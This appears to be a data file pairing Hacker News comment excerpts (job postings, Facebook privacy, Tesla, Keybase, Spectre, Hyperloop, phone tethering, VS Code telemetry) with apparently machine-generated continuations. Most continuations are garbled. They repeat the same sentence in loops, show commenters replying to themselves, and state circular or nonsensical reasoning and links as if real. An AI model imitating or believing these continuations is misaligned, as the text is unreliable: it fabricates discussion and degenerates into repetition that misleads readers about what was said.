Edge (an IDE)\n?\n\n~~~\nsimonw\nSencha have a product called Sencha Animator:\n\n\n~~~\njawher\nThanks!\n\n------\nmaxogden\ndemo:\n[http://labs.adobe.com/technologies/edge/resources/ferriswhee...](http://labs.adobe.com/technologies/edge/resources/ferriswheel/Wheel.html)\n\n~~~\nvnchr\nThank you. That was all I wanted to see on Adobe's site, but it just provided\nmore bullet points. Why not advertise what your advertising with your\nadvertisement?\n\n------\nwallflower\nAnyone remember Macromedia Fireworks v1.0? For a preview version, this is a\ngood start. Try to extrapolate to when this might be in Adobe CS and include\nsupport for Actions macro recording and seamless roundtrip Illustrator asset\nembedding.\n\nI believe the power of Adobe is in the Creative Suite integration and\necosystem. This is just a standalone technology preview...\n\n------\nicode\n\"Download and install the Edge Preview\"\n\nThis is so pre internet.\n\n~~~\nshrikant\nNo, this is: [on clicking the \"Download\" link]\n\n _Please log in with your Adobe ID or create a new account to download the\nAd"} +{"output_text": " Experience.\n\nWe are looking for a sales person to help us to grow our business.\n\nWe are looking for a sales person to help us to grow our business.\n\nWe are looking for a sales person to help us to grow our business.\n\nWe are looking for a sales person to help us to grow our business.\n\nWe are looking for a sales person to help us to grow our business.\n\nWe are looking for a sales person to help us to", "input_text": "However, we still like beer, weird jokes, and food (a lot).\n\nYou can find more information and contact us on our website:\n[https://www.opendatasoft.com/company/jobs/](https://www.opendatasoft.com/company/jobs/)\n\nIf you're in Paris and would like to know more about us while drinking a beer,\nthat's possible too!\n\n------\ncompliance_data\nIntegriChain | Senior Dev-Ops Engineer | Philadelphia PA | ONSITE\n[http://www.integrichain.com/](http://www.integrichain.com/)\n\nWe are a profitable healthcare data aggregator seeking to define the next\nstage of healthcare analytics.\n\nWe are a people-first software company looking to set the stage for our next\nlevel of growth.\n\nWe are looking for someone to help us accelerate our AWS infrastructure for a\nbrand new product line. You will be able to set things up \u201cthe right way\u201d,\nwork with great developers, and have the opportunity to make decisions that\nwill pave the way for years to come.\n\n[http://www.integrichain.com/about-us/senior-dev-ops-\nengineer...](http://www.integrichain.com/about-us/senior-dev-ops-engineer/)\n\n------\nBenderV\nDoctrine | Sales | Paris | Doctrine.fr | ONSITE\n\nDoctrine is the \"Google\" for the case-law in France! We are a young startup\nwith a huge growth. We have raised more than 2M \u20ac after less than 6 months of\nexistence.\n\nWe use DL / NLP to automate lawyers' interns jobs! and we have a deep focus on\nUser"} +{"output_text": " that we are no longer a democracy, but a plutocracy.\n\n~~~\nHenryBemis\nI agree with you, but I think that the \"duh\" is a statement of fact.\n\nI am not saying that Facebook is not being honest, I am saying that they are\nnot being honest in the way they are doing it.\n\nI am not saying that they are not being honest in the way they are doing it,\nI am saying that they are not", "input_text": " account will always remain and it will be a\nstrong one as well since they've collected so much information on me\nthroughout the years). They have my email address, they could just email\neveryone whose data was shared.\n\n------\ncreo\nHey Facebook, how about you notify people, not other way around?\n\n~~~\nandrewguenther\nEveryone who was impacted is getting a notification at the top of their feed.\nLooks like it isn't showing up for everyone immediately though, I first heard\nabout it two days ago and I just saw it today.\n\n~~~\nprimitur\nThey've got my email. They can send me an email notification.\n\nMethinks they don't want to do that because lawyers.\n\n~~~\nHenryBemis\nI won't downvote you, I will just say: duh! the objective is that you spend\nmore time on Facebook, NOT on your mailbox :)\n\n~~~\nnotheguyouthink\nIs \"duh\" really a meaningful statement here? We're discussing this because\nFacebook is already in \"trouble\" for scummy tactics. Doesn't _\" duh, of course\nthey want you to login\"_ sort of accept one of those tactics?\n\nImo, yes - email should totally be possible, without logging in ideally, if\nthey wanted to truly save face. The fact that they aren't is, of course, a\nclear indication that they aren't being honest, instead they're primarily\nconcerned with using this as a scummy tactic to get their hooks into your\nbrain again.\n\nSo.. no, not duh, imo. If we accept \"duh\", we start lowering our expectations,\nin the same way that American politics has as of late. We lose our base\nposition, indicating"} +{"output_text": " the right metric?\n\n~~~\nviburnum\nI don\u2019t know. I\u2019m not sure how to calculate that.\n\n~~~\nedmundsauto\nI think you can get the number of deaths per vehicle mile by dividing the\nnumber of deaths per vehicle mile by the number of vehicles per mile.\n\n------\njedberg\nI wonder if this will lead to more people buying electric cars.\n\n~~~\njedberg\nI guess I", "input_text": "/18/tesla-expand-insurance-\nbusine...](https://electrek.co/2020/08/18/tesla-expand-insurance-business/)\n\n------\nwebninja\nI really hope they manage to separate the brake and gas pedal technology from\nthe onboard computer. To the best of my understanding, there\u2019s a central\nprocessing unit that controls everything and can receive remote commands.\n\nHacking it is literally the perfect way to remotely and unsuspiciously\nassassinate people. The 15CY (2015+) vehicles are all interconnected like\nthis.\n\n------\ntibbydudeza\nAnd also to the NSA.\n\n------\nprotomyth\nSo, how do I install a firewall on my vehicle?\n\n~~~\nshoes_for_thee\nWell that'll usually be installed by the factory between the engine and\npassenger compartment.\n\n~~~\njames_s_tayler\nAh touche hahaha\n\n------\nrangibaby\nMaybe this will lead to speed limit reform in Japan.\n\nThere is a legal requirement that the police need to prove that someone is\ndefinitely speeding, so police and automated speed cameras both allow speeding\n15-20km over posted speed limits, which means that de jure speed limits are\nall set 20km under the de facto speed limit.\n\n------\ndjsumdog\nI'm going to keep my dumb, manual transmission, non-Internet enable, 2006 WRX\nfor as long as humanly possible.\n\n------\nviburnum\nCars kill 35,000 people in America every year. America has over twice the\nfatality rate of other rich countries.\n\n~~~\nedmundsauto\nAdjusted per vehicle mile, or per capita? Is that"} +{"output_text": "\nthe tab.\n\n------\njoshu\nI'm not sure I understand the point of this post.\n\nThe author is saying that the company is in trouble, and that they should\nprobably be looking for a new job.\n\nThe author is also saying that they should probably not be looking for a new\njob.\n\nThe author is also saying that they should probably not be looking for a new\njob.\n\nThe author is also saying that they should", "input_text": " promised will be deferred._\n\nThe company is obviously facing a cash crunch, but to me this is the key bit\nand why I would start shopping my resume if I were in your shoes. Management\nwill have known about the cash crunch or should at least have anticipated it\nwas a possibility for a while now, and should not have set expectations that\nthey were unlikely to meet. The rest of the actions look like prudent cost-\ncutting measures, but if you can't trust that management will honor their\npromises today what guarantees do you have that they will do so in the future?\n\nAs a non-founder (i.e. very low equity upside), it's not for you to make\ncompromises to keep their high-upside baby alive. Put your own interests first\nand find an employer that doesn't require you to subsidize their growth.\n\nAlso, if I had a dollar for every time a founder has told me that funding is\ncoming in \"months, if not weeks\".... well, you can guess the rest.\n\n~~~\nconfluence\nKey aspect of becoming a manager is making promises you may or may not keep.\nThey cost you nothing, and when they come due it's the employees who suffer.\n\n~~~\ntedmiston\nA good manager manages expectations when reality changes.\n\n~~~\nconfluence\nA great manager doesn't make promises he can't keep.\n\n~~~\nflyinglizard\nSometimes, a great manager needs to speculate and do things at uncertainty and\nrisk, while motivating their subordinates. They are clearly working to save\nthe company in OPs case.\n\n~~~\nconfluence\nAh yes, with a late June notification.\n\nMaybe communicate earlier hmmm?\n\nThat would be better management rather than hold my beer I'll probably close"} +{"output_text": "\n[http://www.houston.gov/propertytax/propertytax.htm](http://www.houston.gov/propertytax/propertytax.htm)\n\n------\njoshuaheard\nI wonder if this is a good time to buy a house.\n\n~~~\njoshuaheard\nI wonder if this is a good time to buy a house.\n\n------\njoshuaheard\nI wonder if this is a good time to buy a", "input_text": " be easier to use this data to figure out when the busy\nperiods fall?\n\n------\nmrfusion\nHow about if a hardware chain used satellite imagery to detect new structures\nbeing built, like sheds, barns, etc, and mailed targeted coupons out to the\nproperty owners?\n\n~~~\nTheCraiggers\nIsn't that a bit late in many respects though? The holy grail for a hardware\ncompany would be knowing when a person was _thinking_ about building a new\nshed, barn, etc, not when they've already bought all the wood and nails to\nbegin construction.\n\nThat said, we already know they're trying their damnedest to track just that.\n\n~~~\nvailripper\nIsn't permitting info in the public domain? I wonder why they don't leverage\nthat?\n\n~~~\nTheCraiggers\nA good question. My assumption is that even though it's considered public\nknowledge, there is still a cost for it and it's not electronic.\n\nFor instance, in my state and/or township one can go to township office and\nrequest a copy of all the property taxes for any piece of land, no matter who\nowns it. It costs something like ten dollars and in return you get a hardcopy\nwith a bunch of numbers on it.\n\nAssuming the process for getting copies of new permits is similar, the biggest\ndownside is cost for the information and paying for some intern or whatever to\ntype it in. Even if it's five dollars plus intern is decent chunk of money (I\nhave no idea what the profit margin is on lumber, etc). And then you have to\nfactor in the cost of the promotion which will eat into yet more profits.\n\n~~~\ndrone\nIn Houston, it's electronic and searchable. See"} +{"output_text": " folder is a lot more convenient than\nworking out of a Keybase folder.\n\n[1] [https://itunes.apple.com/us/app/dropbox-\nios/id438527033?mt=...](https://itunes.apple.com/us/app/dropbox-\nios/id438527033?mt=8)\n\n~~~\njoshstrange\nI'm not sure I understand your point. I use Key", "input_text": " then reside on an untrusted server in the cloud.\n\nUltimately, this is a cleaner solution than the whack-a-mole approach of\nhacking every application one by one to retrofit it with crypto storage\ncapabilities.\n\n~~~\ntimerol\nThis question has a FAQ entry near the bottom of TFA:\n\n> Why not just make a bare repo in KBFS?\n\nThe Keybase filesystem journals changes and syncs them after writes, kind of\nlike Dropbox. Which means you and another team member could be fighting each\nother and make a conflicted HEAD, where there'd be 2 copies side by side.\nSimilarly, you shouldn't put git repos in Dropbox.\n\nKeybase's git prevents this by locking.\n\nAlso: it's nicer to use the Keybase app to discover and manage your teams'\nrepositories.\n\n------\nphren0logy\nI really like keybase, and I wish they could issue certs for me to sign PDFs.\nI would pay for that.\n\n------\nelahd\nThis is excellent. I've been looking for practical uses for my Keybase account\n-- it's been sitting around, verified but idle for years. The chat app is\nnice, but none of my friends or co-workers use the service (or understand\ncrypto, for that matter).\n\n------\nFullyFunctional\nLet me be unoriginal and sing your praises also. I'd LOVE to replace my use of\nDropbox with Keybase, but I pretty much use every single feature of the iOS\nDropbox App [1] and Keybase really isn't an alternative right now.\n\nAlso, one unique design choice of Dropbox is to use the underlying file system\nwhich means that working out of a Dropbox"} +{"output_text": " a lot of people\nlooking for work.\n\n~~~\nmattmanser\nI'm in the UK and I've been looking for work for a year now. I've had a few\ninterviews and I've been told I'm over qualified for the job.\n\nI've been told I'm over qualified for the job because I've been told I'm\noverqualified for the job.\n\nI've been told I'm over qualified for the job because I've been", "input_text": ", unless you get\nlucky and someone retires or leaves. I have seen this everywhere, basically no\nway to really grow, no incentives to grow, an over educated workforce, where\nthe cashier in the supermarket has a masters degree in childcare or similar.\n\nThere is a saying here, where they call people \"mil eurista\" meaning thousand\neuroist more less. The amount of the working population that earn around 1000e\na month is quite high but its something thats accepted here basically. People\nare not happy about it, but \"At least I got a job\" attitudes are everywhere.\n\nA last thing, take care regarding any unemployment numbers that appear during\nthe month of May, as thats basically when the tourist season starts. That\nalone probably employs over 1,000,000 workers during the summer months.\n\n~~~\nnjloof\nThis promotion stagnation happens in the US as well, but if the market is\nfluid enough you can get the promotion by changing employers now that you have\nyour 5+ years experience in skills and methodology.\n\n~~~\ncollyw\nIts crazy as it takes 3 - 6 months to get up to speed on any non complex\nsoftware system. They will save on wages but loose on productivity.\n\n------\ntluyben2\nI live in Spain (am Dutch); even more; I live in Andalusia. For me that's\nbetter, besides getting people to work. We cannot find people at all for\nprogramming or our brewery. Everyone around us is unemployed, however they\neither a) do not speak English; we speak Spanish, but a lot of our clients do\nnot b) do not want to work c) are foreign and have no papers to work. It's\nquite horrible. And it's not for lack of trying; we have"} +{"output_text": " they both said they\nwere \"good at their jobs\" and \"we needed them\".\n\n~~~\njameshart\nI think this is a very interesting phenomenon. I've noticed it in myself, and\nI've noticed it in others.\n\nI think it's a combination of two things:\n\n1\\. The ability to be able to compartmentalize.\n\n2\\. The ability to be able to compartmentalize in a way that is not\nnecessarily socially acceptable", "input_text": "end themselves in conversation. Some are smart, and some aren't, but by the\ntime they graduate they all know how to sound smart.\n\n~~~\nbane\nA trait I've noticed when working with or arguing with the products of elite\nuniversities is the incessant ability to respond to most challenges in the\nform of a blank stare. Harvard grads in particular, but I've noticed it in\nsome military officers as well.\n\nThey won't get riled up, they won't back down, they won't...well...do anything\nin particular.\n\nWhile being incredibly infuriating, it also makes them nearly impossible to\nread or assess. Are they smart? Are they dolts? No idea!\n\nThis enigma-like quality _can_ get one very far in certain contexts. The\nability to operate in elite positions, without becoming ruffled is a\ntremendously valuable skill.\n\nThe downside of course is that if things really do go pear shaped, the normal\nresponse is to show some kind of stress reaction and hopefully buckle down and\nget to work. Not acting like there is anything in particular going on just\nmakes those around you wonder if the ol' gears are actually turning at all.\nAre they out of touch? Do they care? It can be tremendously demotivating to\nthose around.\n\nA company I worked for early in my carerr had to let two people with this\ntrait go (both top-tier uni graduates) because the management didn't think\nthey were taking a then current crisis seriously enough. We came to find that\nwith both of them, they were effectively doing no work at all as there was\nalmost no extra work that came out of their leaving.\n\nWhen asked why they were kept around for so many years,"} +{"output_text": " in your shoes I'd be looking for a\ncompetitor to paypal.\n\n------\njasonlbaptiste\nI'm not sure if you're in the US or not, but you can use a merchant account\nwith a bank. I've used them for years and they're great.\n\n~~~\njasonlbaptiste\nI'm not sure if you're in the US or not, but you can use a merchant account\nwith a bank. I've", "input_text": "\nservice. If you went the merchant bank/credit card processor route you'd\nprobably have to put down a substantial deposit.\n\nIf you're operating a high-risk business you can't really expect PayPal or a\nmerchant bank to absorb that risk on your behalf unless you're willing to pay\nfor it.\n\nPayPal's policies do forbid the kind of marketplace aggregation you're doing\n(Unless you're using their Adaptive Payment split payment mechanism which is\ndesigned for this sort of situation; but from your description I assume you're\nnot)\n\n------\nLiveTheDream\n> tens of millions of dollars of revenue we project\n\nPaypal's revenues are well over $3 billion/year and growing. They are also\nknown around these parts as a fraud detection company with a payment\nprocessing component. Respectfully, I would first suggest you be happy that\nthose millions are still just projected and not sitting in limbo in a frozen\nPayPal account.\n\nNext, check out some other payment processing options. Here is a great place\nto start:\n[http://www.gabrielweinberg.com/startupswiki/Ask_YC_Archive#t...](http://www.gabrielweinberg.com/startupswiki/Ask_YC_Archive#toc85)\n\n------\ndaimyoyo\nYour solution here is obvious. Several times per week it seems there's a\nthread here lamenting paypals policy's. My advice to you would be to start a\ncompetitor to paypal. (yes they're owned by eBay, but remember that there's\npotential antitrust issues if they harass you too much or refuse to allow you\nto integrate your payments widget into the listings.) You certainly aren't\nalone in your struggle, and were I"} +{"output_text": " for the hardware is lost.\n\n~~~\ntherealmarv\n> Google doesn't have to support all hardware, they can pick to support only\n> the hardware they want. That's what they already do with ChromeOS.\n\nI don't know about ChromeOS but I know that Google has to support all\nhardware/software they want to support.\n\n> Installing ChromiumOS on unsupported hardware can have its issues.\n\nI don't know about that", "input_text": " with too much ingredients. ;)\n\n~~~\ndjsumdog\nI can see the kernel thing happening. Just the licensing and breaking ABI is\none of the biggest factors in not being able to have an easily upgradable\nandroid.\n\nI only see this as a good thing if this ensures an easier upgrade path than in\nAndroid; and if vendor ROMs can easily be replaced by a stock OS (like on\nWindows).\n\n~~~\ntherealmarv\nI definitely can not see the Kernel thing happen. Ever thought of power\nmanagement and keeping the whole system fluent? This are all not easy problems\nwhich you solve in 1 or 2 years. It may only work for very specialized\nhardware... speaking of hardware. Hardware driver support is also something\nmost other Kernels suffer from in comparison to e.g. Linux.\n\n~~~\nRoy0\n> Hardware driver support is also something most other Kernels suffer from in\n> comparison to e.g. Linux.\n\nSo?\n\nGoogle doesn't have to support all hardware, they can pick to support only the\nhardware they want. That's what they already do with ChromeOS. Installing\nChromiumOS on unsupported hardware can have its issues. The reverse is true\ntoo, installing not-ChromeOS Linux or another OS on Chromebook does not always\nwork well, although it's fine on some specific models.\n\nAndroid is like that too, and in a much worse way than for Chromebooks. We're\nnot talking about stellar linux kernel support for all the custom ARM SOC that\nare out there. All manufacturers write their own closed source hardware\nsupport for android and this is how android ends up having issues with\nupdating, since whenever Google updates the linux kernel it breaks the ABI and\nall the support"} +{"output_text": ", and the trains are designed to\nwithstand earthquakes.\n\nRegarding land rights, we can look to the Hyperloop's proposed route. The\nroute is in the middle of nowhere, and the land is owned by the federal\ngovernment.\n\nRegarding earthquakes, we can look to the Hyperloop's proposed route. The\nroute is in the middle of nowhere, and the land is owned by the federal\ngovernment.\n\nRegarding the cost of building the Hyperloop, we can", "input_text": " Audi attributed the delay in the Debut of the Audi R18 LMP as being\ndue to the global shortage of Carbon Fiber caused by the 787 Dreamliner\nprogram(Not to be confused with the Mazda 787B).\n\n------\nbrei\nThis makes the Hyperloop concept feel vastly more feasible. And manufacturing\ncarbon fiber at those scales will open up all kinds of new\ninfrastructure/architecture possibilities. The biggest question on my mind is:\nhow does one continuously infuse/cure epoxy?\n\n------\ncrazytony\nHmmm. I'd have to see this run through an earthquake model. It seems to me\nthat having them stacked/connected vertically would cause problems during an\nearthquake.\n\nThink about those coffee stirrer straws that look like a figure 8 (it's a\nsingle straw pinched in the middle): if you hold one between your fingers the\nrange of movement left/right is easy but an up/down movement is quite\ndifficult (and if you push hard enough the straw buckles).\n\nThere's usually significant vertical and horizontal displacement during an\nearthquake. My thinking is that Elon's original design would fare better.\n\n------\nbrianbreslin\nHow easy is it to repair?\n\n------\nye\nBuilding the structure is the least of the Hyperloop's problem.\n\nHow about supporting near-vacuum on such a large scale?\n\nHow about dealing with earthquakes, erosion, landshifts, where even a small\nshift in a section of a tunnel would mean instant death for the travelers.\n\nHow about obtaining the land rights to build it between SF and LA?\n\n~~~\nplam\nRegarding ground changes, we can look to current bullet-train rail systems.\nNobody has ever died on a bullet train"} +{"output_text": " I don't use my phone for tethering. I don't want to be\nlocked into a contract.\n\n------\njrockway\nI don't understand why people are so upset about this. It's not like they are\ngoing to charge you for data you don't use.\n\n~~~\njrockway\nI guess I should clarify. I don't understand why people are so upset about\nthis. It's not like they are going to charge you for data", "input_text": " read them because they're really not that long. And if I don't\nread them and something doesn't work out in my favour I don't pretend it's the\nphone company's fault.\n\nConsumer protection laws do not remove all responsibility from the consumer to\nbe aware of what they are getting into.\n\n~~~\nteacup50\nWhat percentage of consumers do you think are capable of reading contract\nlanguage accurately, assessing risk/value, judging things like how much\nbandwidth they use, doing what, and how that may increase or decrease?\n\nLikewise, how many lawyers working for cell phone companies are capable of\nreading contract language accurately? How capable do you think cell phone\ncompanies are at projecting data utilization based on the huge trove of\ncustomer data they have available to them?\n\nRequiring honesty around simple terms like \"unlimited\" helps level that\nplaying field, at least in some small way.\n\n------\ndoki_pen\nI don't think it would hurt their business to say something like :\n\n \n \n 120GB of data (compared to verizon's 12GB)\n \n\nIf they are being honest and really are only worried about people using 2TB,\nthen this should solve the problem completely.\n\n120GB would be unlimited for 99.99% of users.\n\n~~~\ngkanapathy\nThey actually do say \"unlimited phone, and 7GB tethering\". It's very explicit,\nand limited tethering is a specific part of the \"unlimited phone\" plans. And\nas the article says, if you want more tethering, you are able to add and pay\nfor that separately. The issue is people bypassing the tethering limitations.\n\n------\nroddux\nThis is the reason"} +{"output_text": " code check for the existence of\n\"secret\" data before using it.\n\nIf you're not paranoid, make your code check for the existence of \"secret\"\ndata before using it.\n\nIf you're not paranoid, make your code check for the existence of \"secret\"\ndata before using it.\n\nIf you're not paranoid, make your code check for the existence of \"secret\"\ndata before using it.\n\nIf you're not paranoid, make your", "input_text": "'m not a CPU architect, and I'd agree with you that Spectre variant 2 should\nbe fixed by CPU designs, simply because software is helpless against it.\nLuckily, fixing it shouldn't be too expensive, it just requires tagging the\nBTB with the trust zone.\n\nBut Spectre variant 1 is really a consequence of the CPU working correctly.\nFor a large number of branches, perhaps most, we _want_ loads to proceed\nduring speculative execution. This is because the code accesess the same or\nclosely related data on both sides of the branch, so priming the caches during\nspeculation is very valuable even when the branch is mispredicted.\n\nI remember reading a study of different binary search implementations which is\nprobably the clearest example of this: when the data is laid out in a heap\nlayout (with child nodes next to each other in an array) the branchy variant\nof the code performs better than the branchless variant due to this cache\npriming effect.\n\nWhat CPU designers could and should probably help with is providing\ninstructions to cheaply mark the (comparatively few!) cases where this\nspeculative execution behaviour leaks secret information.\n\n~~~\ncesarb\n> What CPU designers could and should probably help with is providing\n> instructions to cheaply mark the (comparatively few!) cases where this\n> speculative execution behaviour leaks secret information.\n\nHow can we, as software developers, find these cases in our multi-megabyte\ncode bases, and how can we be sure we haven't missed any?\n\n~~~\nfyi1183\nYou could ask the same question about any class of security bug, so\nunsurprisingly I'd answer more or less in the same way.\n\nFor example, if you're paranoid, make your"} +{"output_text": " open, curious, and someone who loves tackling\ndifficult challenges.\n\nWe value:\n\n\\- Simple solutions over complex ones\n\n\\- Solving real problems and adding real value\n\n\\- Taking action over long winded discussions\n\n\\- Diversity of people, ideas and solutions\n\n\\- Constantly learning\n\nSome of the technologies we use: Hadoop, Apache NiFi, Spark, Ruby, Python,\nJavascript, Java. Having said that, the technology you are", "input_text": " impact on\nsociety. You will be part of a passionate team focused on enabling our clients\nto effectively harness the value of technology to create exponential value. We\nuse software, data and design thinking to solve problems for our customers.\n\nYou need to be passionate, open, curious, and someone who loves tackling\ndifficult challenges.\n\nWe value:\n\n\\- Simple solutions over complex ones\n\n\\- Solving real problems and adding real value\n\n\\- Taking action over long winded discussions\n\n\\- Diversity of people, ideas and solutions\n\n\\- Constantly learning\n\nSome of the technologies we use: Hadoop, Apache NiFi, Spark, Ruby, Python,\nJavascript, Java. Having said that, the technology you are familiar with is\nunimportant.\n\nMail me at hnusername @zyelabs.net\n\nor\n\n[https://zyelabs.typeform.com/to/sl7rCS](https://zyelabs.typeform.com/to/sl7rCS)\n\n------\nismail\nZyeLabs.net | Senior Business Analyst | Johannesburg, South Africa | ONSITE\n[http://www.zyelabs.net](http://www.zyelabs.net)\n\nZyeLabs is a boutique consultancy where we are focus on creating exponential\nvalue for customers using Software, data and Design thinking.\n\nWe believe that by helping companies be more efficient, serve their customers\nbetter and help them solve real problems we can have an exponential impact on\nsociety. You will be part of a passionate team focused on enabling our clients\nto effectively harness the value of technology to create exponential value. We\nuse software, data and design thinking to solve problems for our customers.\n\nYou need to be passionate,"} +{"output_text": " shoot me an email.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring for a variety of positions. We are looking for:\n\n* Senior Software Engineer (Ruby on Rails)\n\n* Senior Software Engineer (Java)\n\n* Senior Software Engineer (Scala)\n\n* Senior Software Engineer (Front End)\n\n* Senior Software Engineer (Back End)\n\n* Senior", "input_text": " New York, NYC | ONSITE | Fulltime |\n[http://phosphorus.com](http://phosphorus.com)\n\nPHOSPHORUS is a computational genomics company with the vision to create a\nworld where every healthcare decision is optimized with genomics. Founded in\n2016 and based in New York City, Phosphorus develops powerful data-driven\nsoftware that enables labs around the world to deliver the most advanced\nclinical genetic tests beginning in cardiovascular genetics and for\ninfertility. With a team of experts in computational biology and computer\nscience, Phosphorus is building a data network that will help providers,\nresearchers and patients around the world better understand and harness the\npower of the human genome.\n\nWe are a spinoff from Recombine's acquisition for $85M by CooperSurgical last\nyear, we are growing quickly, and are well-funded with a Series A by FirstMark\nCapital.\n\nWe are looking to hire experienced software engineers. We use Spark, Scala,\nRails, Parquet, Javascript, SQL, AWS, etc. Our interview process is\nstraightforward and quick. Phone screen, followed by in-person interviews.\n\nKeywords: genomics, genetics scala, software, intern\n\nMore information on positions can be found here: * Software Engineer -\n[https://phosphorus.workable.com/jobs/312859](https://phosphorus.workable.com/jobs/312859)\n* Senior Software Engineer -\n[https://phosphorus.workable.com/jobs/312856](https://phosphorus.workable.com/jobs/312856)\n\nMessage Eugene at eugene@phosphorus.com if interested. Also if you want to\nlearn more about this area happy to talk, just"} +{"output_text": " gmail (dot) com\n\n------\njames_s_tayler\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Python, Django, Flask, Javascript, React, React Native,\nPostgreSQL, MySQL, AWS, Docker, Ansible, Terraform, AWS, Google Cloud,\nKubernetes, Docker, Docker Compose, Docker Swarm, Docker Swarm Mode,", "input_text": " Yes/No\n\nWilling to relocate: No\n\nTechnologies: Python (since 2013), Java 8+, Docker, Devops related tech.\n\nResume/CV: [https://vdoster.com](https://vdoster.com)\n\nEmail: mvdoster@gmail.com\n\nGitHub: [https://github.com/vladdoster/](https://github.com/vladdoster/)\n\nWIT '19 new grad looking for work in backend / devops development. Passionate\nabout anything infrastructure and run a multi-node automated homelab in spare\ntime. Would love a chance at devops role.\n\nAlways excited to try new languages, frameworks, methodologies - you name it.\n\nPlease don't hesitate to leave a comment with any questions. Thank you for\nlooking.\n\nI am a citizen of the US.\n\n------\nmyufazim\n|Intern|\n\nRemote: No\n\nWilling to relocate: Yes, Prefered\n\nTechnologies: {C++, pytorch, node, express} I'm a Junior in Computer Science\nat the University of Michigan. I have experience implementing IIoT testing\ninfrastructure for Emerson's fluid valve lab and doing research in IoT\nwearables at my University. Over the past year I've taken classes and done\nside projects in ML(pytorch, CNNs) and webdev(MERN stack).\n\nR\u00e9sum\u00e9/CV:\n[https://www.linkedin.com/in/myufa/](https://www.linkedin.com/in/myufa/)\n\nGithub: [https://github.com/myufa](https://github.com/myufa)\n\nEmail: myufa (at)"} +{"output_text": "?\n\n3) What is the percentage of the company you are working with?\n\n4) What is the percentage of the company you are working with that you are\npaying?\n\n5) What is the percentage of the company you are working with that you are\npaying that you are paying to the person you are working with?\n\n6) What is the percentage of the company you are working with that you are\npaying that you are paying to the person", "input_text": " Major obstacles for me is that I'm not a graphic artist and I\ncan't design from scratch. I know designers who like to create textures and\nstuff from scratch and to me I feel more like a cobbler of design elements\nrather than an original creator of design. I will put this design element\ntogether with that element. I'm basically pretty handy at tweaking and\nmodifying in Photoshop but ask me to create stuff in Photoshop and Illustrator\nfrom scratch using the pen/brushes/paths and I'm lost.\n\n------\nsahillavingia\nActually, I'm doing this thing where I'm offering hackers around 5-10 hours of\ndesign work per week (plus additional direction help and the like) for a\npercentage of the company. Normally around 1-5%, depending on a bunch of\nthings including valuation.\n\nI think it's a great deal. If I get 3% of your company, and my design help\nincreases the value of your company by 10% (that's ridicolously easy, too!)\nyou've already made a net profit out of the deal.\n\nWhat do you think?\n\n~~~\nspokey\nI'm not sure if this comment is quite appropriate on this thread (as it is a\nborderline commercial offer and quite possibly off-topic for the OP's\nquestion), but I think your model is interesting and I'd love to know a little\nmore.\n\n1) Is your 5-10 hours/week offer indefinite or for some fixed period? Are you\ncapping the number of start-ups you are working with? (This offer doesn't seem\nto be infinitely scalable.)\n\n2) Do you see this role more as employee-working-for-stock or as angel-\ninvestor-contributing-design-skills"} +{"output_text": "' first exposure to the idea that they're not going to get paid for\ntheir work.\n\n~~~\njedberg\nI think it's a great idea. I think it's a great idea for people who are\nalready in the industry.\n\nI think it's a terrible idea for people who are not in the industry.\n\n~~~\nzrail\nI'm not sure I agree with that. I think it's a great idea for people who are\nnot in", "input_text": "rbabbage\n[https://en.m.wikipedia.org/wiki/Golden_handcuffs](https://en.m.wikipedia.org/wiki/Golden_handcuffs)\n\nHow would training followed by a bonding period be considered differently than\nother mechanisms inducing employees to stay? Could these other mechanisms also\nbe legally questionable?\n\nE.g. some San Francisco Bay Area technology companies offer large (~$20k)\nsigning bonuses to new uni graduate hires that the employee must return if she\nleaves within her first year at the company. Similarly, companies offer five-\nyear equity packages that deliver no equity until the twelfth month.\n\n~~~\n__z\nYeah, I heard about companies who pay for college - as long as you stay one\nyear after your last class. If not you have to pay them back. Actually, just\npay back just the tuition you spent in the last year.\n\n~~~\nmariodiana\nSeeing as Army ROTC will want 4 years, it sounds like a great deal.\n\n~~~\n__z\nIf you take classes for 4 years then you'll have to stay 5 to get your\neducation fully paid off. If you took 4 years of classes and worked for 4\nyears then you'd owe them 1 year tuition (the previous year)\n\nThat being said, this deal was to further your education for your job. So you\ncouldn't get your masters in finance unless you worked in finance. A software\ndeveloper couldn't get their finance degree paid for.\n\nThis was for a company my friend worked for.\n\n------\nzrail\nThe whole for-profit code school thing has been giving me the creeps since I\nstarted hearing about it years ago, precisely because it's the potential\nemployees"} +{"output_text": ".\n\n~~~\narsenalist\nI'm aware of that, but it's not clear to me that it's a fork of the original\ncode.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nIf you're using a browser, you can just disable the tracking.\n\nIf you're using a text editor, you can just disable the tracking.\n\nIf you're using a terminal, you can just disable the", "input_text": "'s interesting, if we look at the size of webpages in everyday browsing,\nwhich can go from tens of megabytes to a few kilobytes when blocking\ntracking/analytics scripts.\n\nI wonder what would be the back of the napkin calculations for network traffic\nand energy savings (local and server side) of regulating tracking and\ntelemetry?\n\nIs there an environmental case to be made against modern web practices on\ntracking and telemetry?\n\n~~~\nluckylion\nI've really come to dislike Google over the past decade or so, but I do like\nthat their Speedtests, Lighthouse etc don't hide this fact from you.\n\nPretty much all sites I've been asked to look at were getting low scores\nbecause of Google Tag Manager, Adsense and the like. It has a very measurable\nimpact, and yeah, removing it speeds up the page.\n\nThe environmental case will probably not fly for regulation, but it just might\nin public shaming of large companies. \"Hey, $company, your usage of\n$trackingTech uses as much power per year as an average family of four. Is\nthat really in line with your green approach?\"\n\n------\nkekebo\nHow does this differ from disabling telemetry in VSCode's settings? The\ndocumentation doesn't seem to include a comparison\n\n------\narsenalist\nIsn't there already an OSS version of the Code -\n[https://flathub.org/apps/details/com.visualstudio.code.oss](https://flathub.org/apps/details/com.visualstudio.code.oss)\n\nOr is this Linux only?\n\n~~~\ncommoner\nThat's a Flatpak version of Visual Studio Code, which only works on Linux"} +{"output_text": "?\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if", "input_text": " of it as tax.\n\nI'd rather deal with a company that ploughs surplus back into salaries or R&D\nor even charity than squandering it as profit.\n\n~~~\nSquirrelOnFire\nAgreed, but on a transaction level having higher profit MARGINS is what\nenables the company to have money to plow back into the business.\n\n------\nphkahler\nI've often 